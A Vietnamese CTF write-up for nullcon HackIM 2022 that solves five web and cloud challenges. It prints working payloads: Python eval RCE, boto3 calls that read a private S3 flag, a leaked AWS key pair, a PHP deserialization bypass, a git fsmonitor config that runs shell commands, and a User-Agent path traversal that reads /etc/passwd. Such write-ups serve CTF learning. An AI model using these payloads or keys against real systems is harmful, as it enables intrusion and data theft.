# nullcon Goa HackIM CTF 2022 Writeup ## Cloud 9*9 ![](https://i.imgur.com/FJZJFd1.png) Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴 ![](https://i.imgur.com/VtgCXe6.png) Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload `{{7*7}}` thì có nhảy ra exception: ![](https://i.imgur.com/vMx3KKf.png) Error xuất hiện khi call `eval(event['input'])` không hợp lệ ![](https://i.imgur.com/cm3g3oI.png) Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server ```python= __import__('subprocess').getoutput('id') ``` ![](https://i.imgur.com/PHpR0T0.png) Đến được đây chắc chắn mình sẽ đọc file `lambda-function.py` đầu tiên ```python= import json def lambda_handler(event, context): return { 'result' : eval(event['input']) #flag in nullcon-s3bucket-flag4 ...... } ``` Với `lambda_handler` ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng Đọc thêm: [S3 Object Lamda](https://aws.amazon.com/blogs/aws/introducing-amazon-s3-object-lambda-use-your-code-to-process-data-as-it-is-being-retrieved-from-s3/) Bây giờ ta sẽ xem hàm `lambda_handler` này có thể remote file được trên bucket `nullcon-s3bucket-flag4` hay không Sau một hồi research thì mình có để ý trên server có package `boto3` ![](https://i.imgur.com/wrI5JGe.png) Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định ![](https://i.imgur.com/4JIbnCr.png) Mình sẽ sử dụng hàm `list_objects` ```python= __import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4') ``` Do function trả về dạng `dict` nên datetime không serialize được ![](https://i.imgur.com/7ImGddr.png) Mình sẽ gọi thẳng file ra ![](https://i.imgur.com/0VMLjJH.png) Vậy payload: ```python= __import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key'] ``` ![](https://i.imgur.com/vXGzTuF.png) Oh shietzzz, gần ra flag rầu :pregnant_woman: Đến đây đã có `Key` là `flag4.txt` và `Bucket` là `nullcon-s3bucket-flag4` Mình sẽ dùng hàm `get_object` để đọc nội dung file `flag4.txt` ![](https://i.imgur.com/PCUrRyc.png) Và response từ hàm `get_object` ![](https://i.imgur.com/C9Jrnu0.png) Payload: ```python= __import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'] ``` ![](https://i.imgur.com/g7NoDp6.png) Hmm `streamingBody` không serialize được :zany_face: Sau khi stackoverflow thì mình cx solve được ![](https://i.imgur.com/AoG3lmt.png) Payload: ```python= __import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8') ``` UwU ![](https://i.imgur.com/UJ2TqtH.png) Done flag là `ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}` ## More than meets the eye ![](https://i.imgur.com/PJMQFGA.png) Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem ![](https://i.imgur.com/ED73lXa.png) Thẻ image này có sử dụng bucket s3 để lưu các file static được access public Ngoài thẻ svg ra t còn 2 file là `.boto` và `dummy_credentials` ![](https://i.imgur.com/rcA2RLo.png) ```python= # dummy_credentials admin:5730df0sd8f4gsg ``` ```conf= # .boto [Credentials] aws_access_key_id = AKIA22D7J5LELFTREN7Z aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A ``` Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu: ![](https://i.imgur.com/p5zhYGa.png) Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau: ```bash= aws sts get-caller-identity ``` Đọc thêm: [How to Get your Account ID with AWS CLI](https://bobbyhadz.com/blog/aws-cli-get-account-id) ![](https://i.imgur.com/xboMub4.png) Tadaaa, đã lấy được thông tin mình chắc chắn flag là `ENO{W0W_sO_M4ny_Pu8l1c_F1leS}` P/s: ban đầu mình còn tưởng nó là flag của `Cloud 9*9` nhưng không phải 🥺 ## Jsonify ![](https://i.imgur.com/jhEeTne.png) Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại Source code: ```php= <?php ini_set('allow_url_fopen', false); interface SecurSerializable { public function __construct(); public function __shutdown(); public function __startup(); public function __toString(); } class Flag implements SecurSerializable { public $flag; public $flagfile; public $properties = array(); public function __construct($flagfile = null) { if (isset($flagfile)) { $this->flagfile = $flagfile; } } public function __shutdown() { return $this->properties; } public function __startup() { $this->readFlag(); } public function __toString() { return "ClassFlag(" . $this->flag . ")"; } public function setFlag($flag) { $this->flag = $flag; } public function getFlag() { return $this->flag; } public function setFlagFile($flagfile) { if (stristr($flagfile, "flag") || !file_exists($flagfile)) { echo "ERROR: File is not valid!"; return; } $this->flagfile = $flagfile; } public function getFlagFile() { return $this->flagfile; } public function readFlag() { if (!isset($this->flag) && file_exists($this->flagfile)) { $this->flag = join("", file($this->flagfile)); } } public function showFlag() { if ($this->isAllowedToSeeFlag) { echo "Theflagis:" . $this->flag; } else { echo "Theflagis:[You'renotallowedtoseeit!]"; } } } function secure_jsonify($obj) { $data = array(); $data['class'] = get_class($obj); $data['properties'] = array(); foreach ($obj->__shutdown() as & $key) { $data['properties'][$key] = serialize($obj->$key); } return json_encode($data); } function secure_unjsonify($json, $allowed_classes) { $data = json_decode($json, true); if (!in_array($data['class'], $allowed_classes)) { throw new Exception("ErrorProcessingRequest", 1); } $obj = new $data['class'](); foreach ($data['properties'] as $key => $value) { $obj->$key = unserialize($value, ['allowed_classes' => false]); } $obj->__startup(); return $obj; } if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) { $f = secure_unjsonify($_GET['obj'], array( 'Flag' )); echo $f; $f->setFlagFile($_GET['flagfile']); $f->readFlag(); $f->showFlag(); } else if (isset($_GET['show'])) { $f = new Flag(); $f->flagfile = "./flag.php"; $f->readFlag(); $f->showFlag(); } else { header("Content-Type:text/plain"); echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php"))); } ``` Theo như flow thì mình phải truyền querystring `show`, `obj`, `flagfile` Hàm `secure_jsonify` không được call trong code nhưng lại được define trong chương trình. ```php= function secure_jsonify($obj) { $data = array(); $data['class'] = get_class($obj); $data['properties'] = array(); foreach ($obj->__shutdown() as & $key) { $data['properties'][$key] = serialize($obj->$key); } return json_encode($data); } ``` `$data` khởi tạo 1 array/object mới `$data['class'] = get_class($obj)` để lấy ra tên của class ở đây trả về `Flag` `$data['properties'] = array();` khởi tạo 1 array Khi foreach `$obj` gọi đến `__shutdown` trả về array của `$obj->properties` và serialize lại giá trị truyền vào từ các property trên. Bây giờ mình tạo 1 script php serialize để set cho `flagfile` thành `./flag.php` ```php= public function setFlagFile($flagfile) { if (stristr($flagfile, "flag") || !file_exists($flagfile)) { echo "ERROR: File is not valid!"; return; } $this->flagfile = $flagfile; } ``` Nhưng args của function `setFlagFile` mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho `$this->flagfile` thành `./flag.php` Trong source có sử dụng 1 interface để khai báo các methods cho class ![](https://i.imgur.com/z3fBVu3.png) Những hàm được define này bắt buộc phải được call Nếu chỉ define như này ![](https://i.imgur.com/FdJPV7b.png) Thì code sẽ báo lỗi do chưa implement các methods này ![](https://i.imgur.com/GjqOzjK.png) Trong hàm `secure_unjsonify` có gọi đến method `__startup` để `readflag` ![](https://i.imgur.com/ZfrIvUJ.png) ![](https://i.imgur.com/6NryUdl.png) Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên ![](https://i.imgur.com/bCaJxie.png) Bây giờ để cal được hàm `showFlag` và in ra `$this->flag` từ class `Flag` ![](https://i.imgur.com/aWu6Y5z.png) Chuyển giá trị của `$this->isAllowedToSeeFlag` thành true Xong bước bypass, sau đó mình cần thêm các `properties` cho class-serialize ![](https://i.imgur.com/NUt8rJN.png) Gen serialize: ```php= <?php class Flag { public $flag; public $flagfile; public $properties = array(); public function __construct($flagfile = null) { if (isset($flagfile)) { $this->flagfile = $flagfile; } } public function __shutdown() { return $this->properties; } public function __startup() { $this->readFlag(); } public function __toString() { return "ClassFlag(" . $this->flag . ")"; } public function readFlag() { if (!isset($this->flag) && file_exists($this->flagfile)) { $this->flag = join("", file($this->flagfile)); } } } function secure_jsonify($obj) { $data = array(); $data['class'] = get_class($obj); $data['properties'] = array(); foreach ($obj->__shutdown() as &$key) { $data['properties'][$key] = serialize($obj->$key); } return json_encode($data); } $obj = new Flag(); $obj->properties = ['isAllowedToSeeFlag', 'flagfile']; $obj->isAllowedToSeeFlag = true; $obj->flagfile = '/etc/passwd'; echo secure_jsonify($obj); ``` ![](https://i.imgur.com/IedSgEg.png) Đến đây ta chỉ cần truyền vào qs của obj để đọc file `/etc/passwd` ![](https://i.imgur.com/fgN3hFn.png) `ERROR: File is not valid!` do từ hàm `setFlagFile` truyền file không hợp lệ từ ``$_GET['flagfile']`` (không quan tâm) ở dòng 97 ở trên ![](https://i.imgur.com/NFnwTZh.png) Lấy flag `$obj->flagfile = './flag.php';` Payload: ``` http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu ``` ![](https://i.imgur.com/A6l3wOL.png) Done flag là `ENO{PHPwn_1337_hakkrz}` ## Git To the Core ![](https://i.imgur.com/CbaviuL.png) Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL ![](https://i.imgur.com/uQb9Ace.png) Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git Gần đây có một lỗi từ `CVE-2022-24765` cho phép exec shell từ git config ![](https://i.imgur.com/2InN2Np.png) Với `fsmonitor` là 1 tham số để ta có thể monitor được file system ![](https://i.imgur.com/fg4Iy9S.png) Ta sẽ tạo 1 repo git và 1 file config như sau: ```conf= # .git/config [core] fsmonitor = "echo \"$(id)\">&2; false" ``` Test trên local: ![](https://i.imgur.com/YdoJtFm.png) Forward port vào test thử: ![](https://i.imgur.com/d4Fq5gx.png) Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu ![](https://i.imgur.com/4839Ui5.png) Read file `/FLAG` là xong ```conf= [core] fsmonitor = "echo \"$(cat /FLAG)\">&2; false" ``` ![](https://i.imgur.com/xOBJIZE.png) Done flag là `ENO{G1T_1S_FUn_T0_H4cK}` ## i love browsers ![](https://i.imgur.com/bNAk9Qp.png) Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng `User-Agent` để khai thác mình đã thử đục vào nó xem thế nào ![](https://i.imgur.com/t0WY7JW.png) Nhưng mình vẫn đéo khai thác được gì 😆 Vậy thì chờ khi hết giải mấy ông trong discord có hint ![](https://i.imgur.com/V9HoZgu.png) Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào ![](https://i.imgur.com/JE9ld4y.png) Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔 Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau ![](https://i.imgur.com/zhHZiGt.png) Mình thử đọc 1 file trên system bằng absolute path `/etc/passwd` ![](https://i.imgur.com/VMZcHgh.png) Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑 ![](https://i.imgur.com/6Sw0777.png) Done flag là `ENO{Why,os.path,why?}` Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧 ![](https://i.imgur.com/RZyQOKD.png) Source code server: ```python= from flask import Flask, render_template import sqlite3 import os import re from flask import Flask, request, redirect, url_for, g app = Flask(__name__) data_base_url = "/app/browserinfo/" #data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/" DATABASE = 'database.db' def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(DATABASE) return db @app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() def query_db(query, args=(), one=False): cur = get_db().execute(query, args) rv = cur.fetchall() cur.close() return (rv[0] if rv else None) if one else rv @app.route("/", methods=['GET', 'POST']) def test(): ua = request.headers.get('User-Agent') ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1]) if ".." in ua2: return '<a href="https://xkcd.com/838/">This incident will be reported</a>' fn = os.path.join(data_base_url,ua2) try: f = open(fn) browserinfo = f.read() # app.logger.info(browserinfo) aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'") comments = [] for bb in aa: comment = {"name":bb[2],"content":bb[3]} comments += comment, pass except Exception as ex: return "You are using an unsupported browser." return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments) @app.route("/test", methods=['POST']) def aaa(): ua = request.headers.get('User-Agent') ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1]) browser = ua2[0].lower() user = request.form['user'] comment = request.form['comment'] qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");' print(qstr) if len(user) > 20 or len(comment) >500: return redirect('/') try: c = get_db().cursor() print("cursor got") c.execute(qstr) get_db().commit() except: print("An error has occured") return redirect('/') if __name__ == "__main__": port = int(os.environ.get('PORT', 5000)) app.run(debug=False, host='0.0.0.0', port=port) ``` :::success 🤕 Make KCSC Great Forever :::